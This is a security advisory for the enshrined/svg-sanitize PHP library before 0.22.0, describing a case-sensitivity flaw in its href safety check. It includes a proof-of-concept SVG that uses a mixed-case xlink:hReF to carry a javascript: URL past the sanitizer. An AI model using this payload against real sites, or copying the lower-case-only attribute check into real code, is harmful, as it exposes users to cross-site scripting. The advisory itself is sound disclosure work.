| Package | Affected versions | Patched versions |
|---|---|---|
| enshrined/svg-sanitize | < 0.22.0 | 0.22.0 |
The sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. xlink:href instead of xlink:HrEf), which allows to by-pass the isHrefSafeValue check. As a result this allows cross-site scripting or linking to external domains.
provided by azizk
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<a xlink:hReF="javascript:alert(document.domain)">
<rect width="100" height="50" fill="red"></rect>
<text x="50" y="30" text-anchor="middle" fill="white">Click me</text>
</a>
</svg>
The mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher azizk <[email protected]>.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free